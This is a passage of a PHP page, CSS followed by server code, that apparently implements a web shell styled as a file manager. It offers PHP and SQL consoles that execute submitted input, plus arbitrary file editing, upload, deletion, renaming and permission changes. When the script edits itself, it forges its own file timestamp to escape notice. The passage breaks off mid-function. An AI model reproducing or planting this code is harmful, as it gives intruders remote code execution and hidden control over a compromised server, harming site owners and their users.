a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

